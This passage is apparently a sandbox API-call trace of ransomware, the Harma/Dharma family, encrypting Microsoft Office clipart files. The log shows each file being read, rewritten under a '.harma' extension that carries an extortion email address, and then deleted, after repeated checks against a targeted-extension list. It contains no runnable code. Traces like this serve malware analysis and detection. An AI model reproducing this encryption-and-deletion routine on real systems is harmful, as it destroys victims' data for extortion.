(lpString1=".doc", lpString2=".GIF") returned -1 [0144.652] lstrlenW (lpString=".docx") returned 5 [0144.652] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0144.652] lstrlenW (lpString=".pdf") returned 4 [0144.652] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0144.652] lstrlenW (lpString=".xls") returned 4 [0144.652] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0144.652] lstrlenW (lpString=".xlsx") returned 5 [0144.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0144.652] lstrlenW (lpString=".ppt") returned 4 [0144.652] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0144.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0144.652] lstrlenW (lpString=".zip") returned 4 [0144.652] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0144.652] lstrlenW (lpString=".rar") returned 4 [0144.652] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0144.652] lstrlenW (lpString=".bz2") returned 4 [0144.652] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0144.652] lstrlenW (lpString=".7z") returned 3 [0144.652] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0144.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0144.652] lstrlenW (lpString=".dbf") returned 4 [0144.653] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0144.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0144.653] lstrlenW (lpString=".1cd") returned 4 [0144.653] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0144.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0144.653] lstrlenW (lpString=".jpg") returned 4 [0144.653] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0144.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0144.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0144.653] lstrlenW (lpString=".doc") returned 4 [0144.653] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0144.653] lstrlenW (lpString=".docx") returned 5 [0144.653] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0144.653] lstrlenW (lpString=".pdf") returned 4 [0144.653] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0144.653] lstrlenW (lpString=".xls") returned 4 [0144.653] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0144.653] lstrlenW (lpString=".xlsx") returned 5 [0144.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0144.653] lstrlenW (lpString=".ppt") returned 4 [0144.653] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0144.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0144.653] lstrlenW (lpString=".zip") returned 4 [0144.653] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0144.653] lstrlenW (lpString=".rar") returned 4 [0144.653] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0144.653] lstrlenW (lpString=".bz2") returned 4 [0144.653] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0144.653] lstrlenW (lpString=".7z") returned 3 [0144.653] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0144.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0144.653] lstrlenW (lpString=".dbf") returned 4 [0144.654] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0144.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0144.654] lstrlenW (lpString=".1cd") returned 4 [0144.654] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0144.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0144.654] lstrlenW (lpString=".jpg") returned 4 [0144.654] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0144.654] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.654] lstrlenW (lpString="BD20013_.WMF") returned 12 [0144.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0144.654] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=11058) returned 1 [0144.655] CloseHandle (hObject=0x34c) returned 1 [0144.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0144.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0144.655] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.655] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0144.656] GetLastError () returned 0x0 [0144.656] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2b32, lpOverlapped=0x0) returned 1 [0144.700] WriteFile (in: hFile=0x344, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2b40, lpOverlapped=0x0) returned 1 [0144.701] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0144.701] WriteFile (in: hFile=0x344, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.701] SetEndOfFile (hFile=0x344) returned 1 [0144.701] CloseHandle (hObject=0x344) returned 1 [0144.701] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.701] SetEndOfFile (hFile=0x34c) returned 1 [0144.704] CloseHandle (hObject=0x34c) returned 1 [0144.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0144.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0144.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0144.706] lstrlenW (lpString=".doc") returned 4 [0144.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.706] lstrlenW (lpString=".docx") returned 5 [0144.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.706] lstrlenW (lpString=".pdf") returned 4 [0144.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.706] lstrlenW (lpString=".xls") returned 4 [0144.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.706] lstrlenW (lpString=".xlsx") returned 5 [0144.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.706] lstrlenW (lpString=".ppt") returned 4 [0144.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0144.706] lstrlenW (lpString=".zip") returned 4 [0144.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.706] lstrlenW (lpString=".rar") returned 4 [0144.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.706] lstrlenW (lpString=".bz2") returned 4 [0144.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.706] lstrlenW (lpString=".7z") returned 3 [0144.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0144.707] lstrlenW (lpString=".dbf") returned 4 [0144.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0144.707] lstrlenW (lpString=".1cd") returned 4 [0144.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0144.707] lstrlenW (lpString=".jpg") returned 4 [0144.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0144.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0144.707] lstrlenW (lpString=".doc") returned 4 [0144.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.707] lstrlenW (lpString=".docx") returned 5 [0144.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.707] lstrlenW (lpString=".pdf") returned 4 [0144.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.707] lstrlenW (lpString=".xls") returned 4 [0144.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.707] lstrlenW (lpString=".xlsx") returned 5 [0144.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.707] lstrlenW (lpString=".ppt") returned 4 [0144.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0144.707] lstrlenW (lpString=".zip") returned 4 [0144.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.708] lstrlenW (lpString=".rar") returned 4 [0144.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.708] lstrlenW (lpString=".bz2") returned 4 [0144.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.708] lstrlenW (lpString=".7z") returned 3 [0144.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0144.708] lstrlenW (lpString=".dbf") returned 4 [0144.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0144.708] lstrlenW (lpString=".1cd") returned 4 [0144.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0144.708] lstrlenW (lpString=".jpg") returned 4 [0144.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.708] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.708] lstrlenW (lpString="BL00012_.WMF") returned 12 [0144.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0144.711] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=9818) returned 1 [0144.711] CloseHandle (hObject=0x34c) returned 1 [0144.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0144.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0144.711] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.711] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0144.712] GetLastError () returned 0x0 [0144.712] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x265a, lpOverlapped=0x0) returned 1 [0144.715] WriteFile (in: hFile=0x344, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2660, lpOverlapped=0x0) returned 1 [0144.716] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0144.716] WriteFile (in: hFile=0x344, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.716] SetEndOfFile (hFile=0x344) returned 1 [0144.717] CloseHandle (hObject=0x344) returned 1 [0144.717] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.717] SetEndOfFile (hFile=0x34c) returned 1 [0144.720] CloseHandle (hObject=0x34c) returned 1 [0144.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0144.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0144.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0144.722] lstrlenW (lpString=".doc") returned 4 [0144.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.722] lstrlenW (lpString=".docx") returned 5 [0144.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.722] lstrlenW (lpString=".pdf") returned 4 [0144.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.722] lstrlenW (lpString=".xls") returned 4 [0144.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.722] lstrlenW (lpString=".xlsx") returned 5 [0144.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.722] lstrlenW (lpString=".ppt") returned 4 [0144.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0144.722] lstrlenW (lpString=".zip") returned 4 [0144.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.722] lstrlenW (lpString=".rar") returned 4 [0144.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.722] lstrlenW (lpString=".bz2") returned 4 [0144.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.722] lstrlenW (lpString=".7z") returned 3 [0144.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0144.722] lstrlenW (lpString=".dbf") returned 4 [0144.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0144.722] lstrlenW (lpString=".1cd") returned 4 [0144.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0144.723] lstrlenW (lpString=".jpg") returned 4 [0144.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0144.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0144.723] lstrlenW (lpString=".doc") returned 4 [0144.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.723] lstrlenW (lpString=".docx") returned 5 [0144.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.723] lstrlenW (lpString=".pdf") returned 4 [0144.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.723] lstrlenW (lpString=".xls") returned 4 [0144.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.723] lstrlenW (lpString=".xlsx") returned 5 [0144.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.723] lstrlenW (lpString=".ppt") returned 4 [0144.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0144.723] lstrlenW (lpString=".zip") returned 4 [0144.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.723] lstrlenW (lpString=".rar") returned 4 [0144.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.723] lstrlenW (lpString=".bz2") returned 4 [0144.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.724] lstrlenW (lpString=".7z") returned 3 [0144.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0144.724] lstrlenW (lpString=".dbf") returned 4 [0144.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0144.724] lstrlenW (lpString=".1cd") returned 4 [0144.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0144.724] lstrlenW (lpString=".jpg") returned 4 [0144.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.724] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.724] lstrlenW (lpString="BL00045_.WMF") returned 12 [0144.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0144.725] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=7862) returned 1 [0144.725] CloseHandle (hObject=0x34c) returned 1 [0144.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0144.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0144.725] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.726] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0144.726] GetLastError () returned 0x0 [0144.726] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0145.028] WriteFile (in: hFile=0x344, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1ec0, lpOverlapped=0x0) returned 1 [0145.028] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.029] WriteFile (in: hFile=0x344, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.029] SetEndOfFile (hFile=0x344) returned 1 [0145.029] CloseHandle (hObject=0x344) returned 1 [0145.029] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.029] SetEndOfFile (hFile=0x34c) returned 1 [0145.031] CloseHandle (hObject=0x34c) returned 1 [0145.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0145.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0145.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0145.485] lstrlenW (lpString=".doc") returned 4 [0145.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.485] lstrlenW (lpString=".docx") returned 5 [0145.485] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.485] lstrlenW (lpString=".pdf") returned 4 [0145.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.485] lstrlenW (lpString=".xls") returned 4 [0145.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.485] lstrlenW (lpString=".xlsx") returned 5 [0145.485] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.485] lstrlenW (lpString=".ppt") returned 4 [0145.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0145.485] 